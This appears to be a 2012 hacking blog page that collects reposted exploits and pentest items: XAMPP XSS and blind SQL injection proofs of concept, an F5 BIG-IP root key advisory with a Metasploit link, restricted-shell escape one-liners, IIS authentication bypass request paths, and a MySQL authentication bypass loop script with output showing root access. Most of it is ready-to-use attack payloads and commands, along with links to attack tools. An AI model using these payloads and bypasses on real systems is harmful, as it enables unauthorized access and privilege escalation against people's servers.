escanner Escalation Pentesting Tool

escanner is a small tool that helps you thread scan file(s)/directories recursively for possible vulnerability of insecure file permissions that could result on local privilege escalation due to some misconfiguration of operating systen, software vendors or by users. One example, a local attacker can replace/overwrite the original file to a malicious binary that could perform unauthorized actions so when the machine restart the malicious binary will be executed with SYSTEM privileges also it can cause DoS(Denial of Service) for some daemon if the configuration file is deleted or changed.

Using the tool:
It recursively check files that has system rights either Full Control or Modify with local group account :

1. “Everyone”
2. “USERS” Built in users
3. “GUEST” Built in guest


Download Link:http://www.theprojectxblog.net/wp-content/uploads/2012/06/escanner.exe

Source: http://www.theprojectxblog.net/escanner-escalation-pentesting-tool/

If you like my blog, Please Donate Me

One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00

XAMPP Windows 1.7.7 multiple XSS/Blind SQL Injection Vulnerabilities

$------------------------------------------------------------------------------------------------------------
$ XAMPP Windows 1.7.7 multiple XSS/Blind SQL Injection Vulnerabilities
$ Author : Sangteamtham
$ Home : Hcegroup.net
$ Download :http://www.apachefriends.org/en/xampp-windows.html
$ Date :06/07/2012
$ Twitter: http://twitter.com/Sangte_amtham
$******************************************************************************************
1.Description:

 XAMPP is an easy to install Apache distribution containing MySQL, PHP and Perl. XAMPP is really
 very easy to install and to use - just download, extract and start.


2. POC:

XSS Vulnerabilities:

http://localhost/xampp/perlinfo.pl/"<script>alert("XSS")</script>

http://localhost/xampp/cds.php/%27onmouseover=alert%28%22XSS%22%29%3E --> still not fixed from version 1.7.4

Blind SQL Injection:

http://localhost/xampp/cds.php?interpret=1&jahr=1967 and sleep(1) &titel=555-666-0606
 

Source: packetstormsecurity.org/files/113614

If you like my blog, Please Donate Me

One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00

F5 BIG-IP remote root authentication bypass Vulnerability (Update Link and payload for Metasploit)

F5 BIG-IP remote root authentication bypass Vulnerability

CVE reference: CVE-2012-1493
Affected platforms: BIG-IP platforms without SCCP
Version: 11.x 10.x 9.x
Date: 2012-February-16
Security risk: High
Vulnerability: F5 BIG-IP remote root authentication bypass
Researcher: Florent Daigniere
Vendor Status: Notified / Patch available
Vulnerability Disclosure Policy:
 https://www.trustmatta.com/advisories/matta-disclosure-policy-01.txt
Permanent URL:
 https://www.trustmatta.com/advisories/MATTA-2012-002.txt

=====================================================================
Description:

Vulnerable BIG-IP installations allow unauthenticated users to bypass
 authentication and login as the 'root' user on the device.

The SSH private key corresponding to the following public key is
 public and present on all vulnerable appliances:

ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAvIhC5skTzxyHif/7iy3yhxuK6/OB13hjPqrskogkYFrcW8OK4VJT+5+Fx7wd4sQCnVn8rNqahw/x6sfcOMDI/Xvn4yKU4t8TnYf2MpUVr4ndz39L5Ds1n7Si1m2suUNxWbKv58I8+NMhlt2ITraSuTU0NGymWOc8+LNi+MHXdLk=
 SCCP Superuser

Its fingerprint is:
71:3a:b0:18:e2:6c:41:18:4e:56:1e:fd:d2:49:97:66

=====================================================================
Impact

If successful, a malicious third party can get full control of the
 device with little to no effort. The Attacker might reposition and
 launch an attack against other parts of the target infrastructure
 from there.

=====================================================================
Versions affected:

BIG-IP version 11.1.0 build 1943.0 tested.

The vendor reports that the following versions are patched:
    9.4.8-HF5 and later
    10.2.4 and later
    11.0.0-HF2 and later
    11.1.0-HF3 and later

http://support.f5.com/kb/en-us/solutions/public/13000/600/sol13600.html

=====================================================================
Credits

This vulnerability was discovered and researched by Florent Daigniere
 from Matta Consulting.

=====================================================================
History

16-02-12 initial discovery
22-02-12 initial attempt to contact the vendor
24-02-12 reply from David Wang, case C1062228 is open
24-02-12 draft of the advisory sent to the vendor
01-03-12 CVE-2012-1493 is assigned
06-04-12 James Affeld starts coordinating the notification effort
23-05-12 F5 notifies us that patches are ready
29-05-12 F5 sends advance notification to some customers
06-06-12 Public disclosure

=====================================================================
About Matta

Matta is a privately held company with Headquarters in London, and a
 European office in Amsterdam.   Established in 2001, Matta operates
 in Europe, Asia, the Middle East and North America using a respected
 team of senior consultants.  Matta is an accredited provider of
 Tiger Scheme training; conducts regular research and is the developer
 behind the webcheck application scanner, and colossus network scanner.

https://www.trustmatta.com
https://www.trustmatta.com/training.html
https://www.trustmatta.com/webapp_va.html
https://www.trustmatta.com/network_va.html

=====================================================================


# 1337day.com [2012-06-11]

Link Exploit-ID: http://www.exploit-id.com/remote-exploits/f5-big-ip-remote-root-authentication-bypass-vulnerability-2
Metasploit Payload: http://www.exploit-id.com/remote-exploits/f5-big-ip-ssh-private-key-exposure

Source: http://1337day.com/exploits/18563

If you like my blog, Please Donate Me

One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00

Escaping Restricted Linux Shells

If you want to see all of this article, please go to the Source.

Reconnaissance

The first step should be to gather a little information. You'll need to know your environment. Run the 'env' command to understand how your profile is configured. You'll see which shell you're running and where your PATH is pointing to. Once you know what your PATH is, list the contents of the directory (i.e. 'ls /usr/local/rbin') to see which commands are present. It is possible you may not be able to run the 'ls' command. If not, you can use the 'echo' command with an asterisk to 'glob' directory contents if it's available:

echo /usr/local/rbin/*


You can continue on through the file system using this command to help you find other files and commands. Basically, you'll be armed with built-in shell commands as well as the ones listed in your PATH. This is your arsenal for attacking the restricted shell, but there may be exceptions as we'll find out. Once you know which commands you can execute, research each one of them to see if there are known shell escapes associated with them. Some of the techniques we're about to get into can be combined together.

Change PATH or SHELL Environment Variables

Type 'export —p' to see the exported variables in the shell. What this will also show you is which variables are read-only. You'll note that most likely the PATH and SHELL variables are '—rx', which means you execute them, but not write to them. If they are writeable, then you can start giggling now as you'll be able to escape the restricted shell in no time! If the SHELL variable is writeable, you can simply set it to your shell of choice (i.e. sh, bash, ksh, etc...). If the PATH is writeable, then you'll be able to set it to any directory you want. I recommend setting it to one that has commands vulnerable to shell escapes.

Copying Files

If you're able to copy files into your PATH, then you'll be able to bypass the forward slash restriction. The sky is the limit at this point as you can copy commands into the PATH that have known shell escapes. You can also write your own script, copy it to the PATH, and execute it.

Another technique is to try and copy files to your home directory and execute them from there. Execution will be difficult as you will have to use './' in order to get it to run, and as we already know, it will fail since the restricted shell will not allow the use of a forward slash. Keep in mind, you may be able to get the commands you copy to your home directory to run if you're able to couple it with another command that has a shell escape.

Other ways you may be able to copy files or get access to them include mounting a device or file system. You may also be able to copy them to your system using a program that can copy files such as SCP or FTP.

Try to find directories other than your PATH where you can execute commands from. If you have write access to them, you can copy commands here and may be able to execute them.

Lastly, consider creating a symbolic link in a directory where you have write access and the ability to run commands

Editors

One of the most well documented techniques is to spawn a shell from within an editor such as 'vi' or 'vim'. Open any file using one of these editors and type the following and execute it from within the editor:

:set shell=/bin/bash


Next, type and execute:

:shell


Another method is to type:

:! /bin/bash


If either of these works, you will have an unrestricted shell from within the editor. Most modern restricted shells already defend against this hack, but it's always worth a shot. You may be working from a restricted editor such as rvi or rvim, which will almost certainly stop a shell from spawning. Also, try different shells with this technique and ones that follow as some restricted shells may block 'sh' or 'bash'.

Awk Command

If you can run 'awk', you can attempt to execute a shell from within it.

Type the following:

awk 'BEGIN {system("/bin/sh")}'


If successful, you'll see an unrestricted shell prompt!

Find Command

If the 'find' command is present, you can attempt to use the '-exec' function within it.

Type the following:

find / -name blahblah —exec /bin/awk 'BEGIN {system("/bin/sh")}' \;


Again, if successful, you'll see a blinking cursor at an unrestricted shell prompt! Note that in the above example, you are able to call the 'awk' command even if it is not present in our PATH. This is important because you are able to bypass the restriction of only being permitted to execute commands in your PATH. You are not limited to the 'awk' command.

More, Less, and Man Commands

There is a known escape within these commands. After you use the 'more', 'less', or 'man' command with a file, type '!' followed by a command. For instance, try the following once inside the file:

'! /bin/sh'


'!/bin/sh

'!bash'


Like the shell escape in 'awk' and 'find', if successful, you'll be sitting at an unrestricted shell prompt. Note you can try different shells, and the space after the '!' may not matter.

Tee Command

If you do not have access to an editor, and would like to create a script, you can make use of the 'tee' command. Since you cannot make use of '>' or '>>', the 'tee' command can help you direct your output when used in tandem with the 'echo' command. This is not a shell escape in of itself, but consider the following:

echo "evil script code" | tee script.sh


You will be able to create a file called script.sh in your home directory and add your script code to the file. Once the file is created, use the 'tee —a' option for all subsequent commands as the '-a' allows you to append to the file rather than overwrite the file.

Favorite Language?

Try invoking a SHELL through your favorite language:

    python: exit_code = os.system('/bin/sh') output = os.popen('/bin/sh').read()
    perl —e 'exec "/bin/sh";'
    perl: exec "/bin/sh";
    ruby: exec "/bin/sh"
    lua: os.execute('/bin/sh')
    irb(main:001:0> exec "/bin/sh"

Source: http://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells#

If you like my blog, Please Donate Me

One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00

Interesting Vulnerability Today(2012-06-11) Microsoft IIS 6.0, Microsoft IIS 7.5

THIS IS A GENUINE ISOWAREZ RELEASE
********************************************************
------------------------------------------------------------------------------------------------------------------------------------------------------------
Title: Microsoft IIS 6.0 with PHP installed Authentication Bypass

Affected software:
Microsoft IIS 6.0 with PHP installed
(tested on Windows Server 2003 SP1 running PHP5)

Details:
By sending a special request to the IIS 6.0 Service running PHP the attacker can
successfully bypass access restrictions.

Take for example:
1.) IIS/6.0 has PHP installed
2.) There is a Password Protected directory configured
--> An attacker can access PHP files in the password protected
directory and execute them without supplying proper credentials.
--> Example request (path to the file): /admin::$INDEX_ALLOCATION/index.php

IIS/6.0 will gracefully load the PHP file inside the "admin" directory
if the ::$INDEX_ALLOCATION postfix is appended to directory name.
This can result in accessing administrative files and under special
circumstances execute arbirary code remotely.
------------------------------------------------------------------------------------------------------------------------------------------------------------

Title: Microsoft IIS 7.5 Classic ASP Authentication Bypass

Affected Software:
Microsoft IIS 7.5 with configured Classic ASP and .NET Framework 4.0
installed (.NET Framework 2.0 is unaffected, other .NET frameworks
have not been tested)
(tested on Windows 7)

Details:
By appending ":$i30:$INDEX_ALLOCATION" to the directory serving the
classic ASP file access restrictions can be successfully bypassed.

Take this Example:
1.) Microsoft IIS 7.5 has Classic ASP configured (it allows serving .asp files)
2.) There is a password protected directory configured that has
administrative asp scripts inside
3.) An attacker requests the directory with :$i30:$INDEX_ALLOCATION
appended to the directory name
4.) IIS/7.5 gracefully executes the ASP script without asking for
proper credentials

------------------------------------------------------------------------------------------------------------------------------------------------------------
Title: Microsoft IIS 7.5 .NET source code disclosure and authentication bypass

Affected Software:
Microsoft IIS/7.5 with PHP installed in a special configuration
(Tested with .NET 2.0 and .NET 4.0)
(tested on Windows 7)
The special configuration requires the "Path Type" of PHP to be set to
"Unspecified" in the Handler Mappings of IIS/7.5

Details:
The authentication bypass is the same as the previous vulnerabilities:
Requesting for example
http://<victimIIS75>/admin:$i30:$INDEX_ALLOCATION/admin.php will run
the PHP script without asking for proper credentials.

By appending /.php to an ASPX file (or any other file using the .NET
framework that is not blocked through the request filtering rules,
like misconfigured: .CS,.VB files)
IIS/7.5 responds with the full source code of the file and executes it
as PHP code. This means that by using an upload feature it might be
possible (under special circumstances) to execute arbitrary PHP code.
Example: Default.aspx/.php



Cheerio and signed,

/Kingcope

Source: http://1337day.com/exploits/18547

If you like my blog, Please Donate Me

One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00

iCrack Online/Offline MD5 Cracker [Python Script]

Cool scripts written in python , iCrack is an Online/ofline md5 cracker script in Python. Currently containes about 14 db for online cracking.

Download Link:: https://code.google.com/p/lnxg33k/downloads/detail?name=icrack.py

Source: http://tools.thehackernews.com/2012/06/icrack-python-md5-online-offline.html

If you like my blog, Please Donate Me

One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00

MySQL Authen Bypass Vulnerability On Ubuntu (*update python script)

 This vulnerability was public by @hdmoore, @jcran, @jduck1337 and another security expert guys from my twitter.


This vulnerability effects on Ubuntu/Debian 32/64bit, MySQL 5.5.22 not work on RHEL/CentOS5 and 6 (x86_64)

Python script for this vulnerability

#!/usr/bin/python
import subprocess

while 1:
        subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait(


Details here: http://seclists.org/oss-sec/2012/q2/493


hdm@grunt:~$ while true; do mysql -u root mysql --password=baha; done
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
< snip >
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1248
Server version: 5.5.22-0ubuntu1 (Ubuntu)

Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>

Source: http://pastie.org/private/903voijkkz8nmde3yqj4rw

If you like my blog, Please Donate Me

One Dollar $1.00 Two Dollar $2.00 Three Dollar $3.00